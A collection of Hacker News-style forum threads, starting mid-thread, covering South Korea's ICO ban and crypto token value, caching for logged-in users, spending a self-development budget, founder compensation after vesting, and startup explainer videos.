</comment></comment></comment></comment><comment><USER6> The whole ICO gold rush really looks like a crazy bubble. Accepting for the moment that crypto currencies can have a viable place in the finance system, how many of these do we need? What differential value do these new crypto coins offer that Bitcoin, Dogecoin, Etherium or the other existing coins don't already provide? Honest question, the articles I can find on this don't really answer this.

<comment><USER7> In some cases, they actually contribute a novel feature (e.g. Monero adding features that enhance privacy).

In most cases (all but a handful), they add nothing.

It's a money grab—so much so, that a somewhat self-aware crypto enthusiast created a parody coin, Useless Ethereum Token, whose sole feature was that it had none. It raised $40k in 3 days and was, at its peak, worth $160k, which is a pretty lofty valuation for a joke.

<comment><USER8> See also the Fuck Token ([http://www.fucktoken.io](http://www.fucktoken.io)), which raised over $30K in 30 minutes :)

<comment><USER9> Hey, FUCK at least has a real use case.

Making it possible to give a fuck or give no fuck digitally.

That's what the world has waited for!

/shill mode off

<comment><USER10> I tend to say I can't give a FUCK because I don't have any FUCK left to give. So just by existing they already enriched my life, a truly glorious token.

</comment></comment></comment></comment></comment><comment><USER11> Banned raising money through ICOs for _securities_. It looks like they're taking a more even-handed approach than the article maintains.

The r/ethereum post has link to translated announcements, etc [0].

[0] - [https://www.reddit.com/r/ethereum/comments/734qv4/south_kore...](https://www.reddit.com/r/ethereum/comments/734qv4/south_korea_banning_icos/)

</comment><comment><USER12> The citizens of South Korea love to trade financial instruments. The KOSPI 200 index future used to be the most liquid equity index future in the world - mostly fueled by Korean retail traders [0]. Eventually, then, as now, the government had to step in to prevent things from getting too out of hand.

[0] - [https://www.ft.com/content/231fa13a-e4f4-11de-817b-00144feab...](https://www.ft.com/content/231fa13a-e4f4-11de-817b-00144feab49a).

</comment><comment><USER13> Off topic, does everyone who used to have an MT Gox account get spammed with ICO crap almost daily? Losing money on their exchange was bad enough, but now getting spammed constantly is salt in the wound.

<comment><USER14> Never used mtgox, still get ico spam daily. It's useful, though. Anything I receive any notable amount of spam advertising is very likely to be some kind of scam.

</comment></comment><comment><USER15> You don't need ICO. Bitcoin started from scratch and it's still #1! Crypto currency is software which is very cheap to make and distribute(compare to hardware). Also the most of internet startups get seed money under $200K, so I don't understand why are ICO's designed for $1M and more?

<comment><USER16> Bitcoin had an ICO...

<comment><USER17> Ethereum had an ICO, first bitcoins were aquired in mining, there was no ICO/premine

<comment><USER16> There was a guy who went around offering bitcoins for real cash. How is that not an ICO ;)

<comment><USER14> You can't just make stuff up. The history of bitcoin is well documented.

[https://en.wikipedia.org/wiki/History_of_bitcoin](https://en.wikipedia.org/wiki/History_of_bitcoin)

</comment></comment></comment></comment></comment><comment><USER18> The amount of misinformation in this topic is frightening. Guys, most of the serious cryptotokens are about making some markets more efficient, eliminating lots of middlemen. I have no time to go into details, but some coins I am currently invested in:

iExec BAT DASH Factom

These (and some others) are serious projects with huge potentials. I am not only speaking about huge investment potentials. I am speaking about potentials to add value to society, make markets more efficient. 99% of the tokens out there are crap, but why is it important? 99% of startups are also crap, but nobody cares.

I am also very sad that most people here are against making the investment landscape more meritocrtic than it is currently with all the privileged VCs, angles and lawyers born into lucky countires.

<comment><USER19> There's also lots of hype from people reassuring everyone that the coins they just happen to have invested in are rock solid, with nothing to back their arguments up.

<comment><USER18> In my opinion none of the coins I mentioned is rock solid, but I have researched lots of coins, and currently these are the ones which I find most valuable compared to market cap. 3 years ago I made a very good bet with Ripple (almost exclusively invested in Ripple for 3 years, and achieved more than 30x returns), now we will see.

</comment></comment></comment><comment><USER20> Crypto has unleashed an epidemic of greed. Only people with a feeble understanding of the world, economics and finance will seriously engage with the idea one can make money out of thin air, wasting electricity.

The only way crypto gains value in the world we live in is if established interests decide to support it, at which it point it perpetuates entrenched interests and is subsumed into the whole.

So bitcoin is not going to disrupt anything. And all the 'revolutionaries' and 'liberatarians' who spend hours sitting idly in front of their PCs mining and then let loose periodic outbursts on 'freedom' and 'innovation', will happily cash out to the devil himself quietly burying their incredible claims.

<comment><USER21> > Only people with a feeble understanding of the world, economics and finance > will seriously engage with the idea one can make money out of thin air,

You don't need an econ degree, to understand fiat money multipliers but it helps, [https://en.wikipedia.org/wiki/Money_multiplier](https://en.wikipedia.org/wiki/Money_multiplier)

> wasting electricity

Is it fair to cite this as a blanket criticism, given the number of projects seriously looking at non POW consensus?

</comment></comment><comment><USER22> One possible loophole: You can give away all your tokens for free... So if you want to get your new coin into circulation, you can donate some to open source projects or charities.

<comment><USER16> So an upvote doesn't give karma, but karmacoin™

<comment><USER23> Yep. See Steemit.

</comment></comment></comment><comment><USER24> Time to buy - "Japan's FSA Gives Official Endorsement to 11 Cryptocurrency Exchanges" [https://www.usnews.com/news/technology/articles/2017-09-29/j...](https://www.usnews.com/news/technology/articles/2017-09-29/japans- fsa-approves-11-companies-as-operators-of-crypto-currency-exchanges)

</comment><comment><USER25> Australian Securities and Investment Commission has done a good job how and when ICOs should be used: [https://news.ycombinator.com/item?id=15357549](https://news.ycombinator.com/item?id=15357549)

<comment><USER26> I love that their acronym is ASIC.

</comment></comment><comment><USER27> I wonder whether Trump's SEC will consider doing the same -- so far, they've been very lax in terms of enforcement (for better or for worse).

</comment><comment><USER28> I have a feeling this is going to start happening more and more. The golden age of the ICO's was over a few months ago before everyone and their dog started one.

</comment><comment><USER29> This shouldn't come as a surprise. Early this month SK announced they would be banning them.

</comment><comment><USER30> It seems like every time we get some good upward movement, some sort of stupid fud hits again.

<comment><USER31> FUD? You want the general population to gamble away their life savings in what effectively are some shiny slides? Completely unregulated? Would you like to invest in this bridge I have here for you? Hey, you want to get in now before everyone wants in and the prices go 10x.</comment></comment>


Ask HN: How to cache for logged in users? - <AUTHOR>

How would you go about caching for logged in users?<p>I have thought about caching "blocks" of the page and then assemble the entire page before sending it to the user, but are there any better, more elegant solutions to the problem? <comment><USER2> I keep track of logged in users via sessions that are stored in a DB.

Every time the user goes to a new page it is updated. This happens so frequently that caching doesn't really make sense. Accuracy is also important.

<comment><USER3> Have you considered the cost of that to scale? (no idea of the application ofc).

DB writes are very expensive. There is no reason why you cant bootleg a caching system to handle the on-refresh updates with things like sessions. One of the problems I always have with recent articles about caching web content is that people seem obsessed with not having ot change the cache at all! That's not the point - the point of the cache is to have regularly used, on demand data easily accessible. A session node is prime material for that. Yes it needs to be updated quite frequently but there is absolutely no need to save it anywhere permanently whilst it is in use! (of course once you get to super-scale apps like Facebook it does then become a problem to maintain all the cached data across multiple locations :) but if you can hold everything on a couple of servers it's not going ot present an issue).

@the OP: caching standard elements of a page is always a good idea. Caching "dynamic blocks" will also be a good approach (it is one I use) on the basis that if only one needs updating you dont have to refresh the whole cache just on portion :)

Just dont og overboard - i.e. if you start to get 20 or so block (though I cant imagine anyone would :S) the overhead of pulling the cache might start to have an effect.

<comment><USER2> Scaling my app is not a big issue. It's deployed with multiple small user groups - not large consumer sites.

</comment></comment></comment><comment><USER4> It's easy -- assemble the 'blocks' on the client-side.</comment>


Ask HN: Best way to spent money to become better programmer? - <AUTHOR> I know the title sucks but I have no idea how to say it better in just a few words - sorry for that.
Here is my situation - my current employer is giving every single employee around $1k per year for "self development". It can be almost anything related to IT or self development in general (for example learning foreign language). Some people buy hardware, online courses, licenses for IDEs or for example they simply go to conferences.
Two years ago I bought HTC Vive using this budget because I wanted to play around with VR technology and learn something new. One year ago I bought few Unreal Engine 4 courses (as a followup to the HTC Vive purchase) and few lisp books.
I wonder what would be your ideas for using this budget for self development. I want to be as good software engineer as I can so if you have any suggestions or experiences I would be more than grateful for sharing them with me.
Probably most of the people will start by saying "well... it depends what interests you" so here is a quick summary.
I used to code in C++ (03 and 11) for living for almost 5 years. Currently I am a project leader so I do not work with code anymore. I do it during my free time, mostly in Common Lisp or other Lisp dialects (Scheme when going through SICP or ELisp when trying to contribute to Emacs). I am fascinated by Lisp and I am really interested in this language. Still a newbie though.
I though about spending some money on learning functional programming and lambda calculus. Already bought few books about this topic. I also thought a bit about buying some commercial Lisp implementation but for now Emacs and SLIME works perfectly for me and I am not limited by this setup at all.
As a software engineer maybe you are able to think about your best purchase or self investment so far?
Thanks a lot! <comment><AUTHOR> It seems that my post was pretty much ignored - unfortunately. I also asked the same question on r/learnprogramming. There are two recommendations: Safari Books and Pluralsight subscriptions. I used to have Safari subscriptions for few years so maybe I will give Pluralsight a try. However I am not sure yet.</comment>


What should I ask for as compensation after becoming fully vested in my startup? - <AUTHOR>

I am on the verge of becoming fully vested after a four year stint with my startup.  I currently have a 10% equity stake in the company and take a 75k/year salary.  I am going to be negotiating updates to equity and/or salary once fully vested at the end of 2013.
The company went live in 2010 and we are looking to exit sometime in 2014 via acquisition in the 10-20 million dollar range.
I am a co-founder of the company.  We have 5 total employees, with the CEO being the primary stakeholder at 80%.  She takes a salary of 45k/yr.  We aren't going to be adding employees at a large clip or giving away very much equity in the company at this point.
We bring in close to 1M revenue/yr.  I have coded about 95% of the product (and it is a pretty large product).
Thoughts? <comment><USER2> I think I share the thoughts of a good amount of the readership of this board by saying I wish I had your problem set.

What we don't know is how much of the business value was from the CEO's superherolike skills to sell the product and raise money from fickle investors on favorable terms, and how much was from your superherolike skills to write the product. It may well be that you negotiated a better deal than the CEO for the value you contributed from a market perspective (probably not the case but we don't know from here).

We also don't know if the value of your equity would crater if you took your BATNA and walked away from the company (causing the company to lose customers from crashed coderotted servers, etc.).

Based on this limited information, I'd leave the equity situation alone, ask for a bump in salary to where you're able to continue working without feeling foolish, and then invest part of your million dollar cashout in your favorite HN reader's startup.

</comment><comment><USER3> Doesn't seem a bit imbalanced that the CEO owns 80% of the equity and you own 10% if you built 95% of the product and co-founded the company? In this situation it's clear you should have more equity, so you should negotiate an increase. I imagine you have a fair amount of leverage, since you basically built the product singlehandedly and therefore know much more about the technical side of it than anybody else. My guess is that the only reason such an imbalance would exist is if the CEO put in a lot of his/her own money to bootstrap the company.

<comment><USER4> Agreed, though I imagine you need to have a response handy when the CEO mentions that part of the trade-off was that you brought home twice the salary he did during the high-risk "will this go anywhere?" times. If he was also the primary investor to begin with, I don't imagine getting too far with the negotiation, although you certainly have significant wiggle room.

</comment></comment><comment><USER5> Congrats, 10% of a $10 million company makes you a millionaire.

I'd recommend helping the founder with the exit, have you thought of using a vc to help with your exit? A big part of their jobs are related to selling companies and even if they ask for a small cut, if they get you a higher acquisition price, you benefit.

Who owns the other 10%?

<comment><AUTHOR> Thanks for the reply! The other 10% is split amongst the 3 other employees that we have.

RE: the VC route, we were looking at M&A companies (just started though), so that is good advice and will investigate it.</comment></comment>


Show HN: The Art of the Startup video - <AUTHOR>

I am about to put together a prelaunch video for a new startup I'm working on. Video gives your landing page and company instant credibility. It is also a medium of communication people are comfortable with. This greatly increases your sign up conversion rate. I put together a list of some great startup explainer videos I really like and some different things I took away from them.
Robin Hood - "Free stock trading" -  https://vimeo.com/87163777 - It always helps when you've got Adam from Sandwich video on the job. The anticipation and confidence is strikingly similar to DollarShaveClub. This resulted in 300k prelaunch emails.
VidFall - "Videos play, prices fall"   https://vimeo.com/84588387 - Example of a great animated video. This is how you do it on a budget. Professional voice over is a MUST!
Notabli - "Your Child's Greatest Moments" - https://vimeo.com/119583565 - You don't need a voiceover. Your job is simply to inspire. Use images and music that hits home and is relatable.
Dollar Shave Club - "Great shave for a fraction of the price" - https://vimeo.com/37974974 - We've all seen it, but come one… it is genius. You have to take risks.. plain and simple.
Other takeaways: - Always use your Vimeo link. There won't be a pre-roll advertisement.
- Try to avoid the future tense (Our company will XYZ…). You'll want this video to last a long time.
- Strike an emotion and take risks. A simple explainer video/powtunes video kills a little piece of me each time I open one. - Sometimes professionals like Sandwich video will take equity in your company to create your video. It could be the exposure you need to succeed. Go for it!
Would love to hear what you guys think makes a great pre-launch video. Or if you have any other great examples. Hope this is helpful to you guys. <comment><USER2> Something I'd be really interested in that adds to this is : How do you find someone to shoot/produce your video?</comment>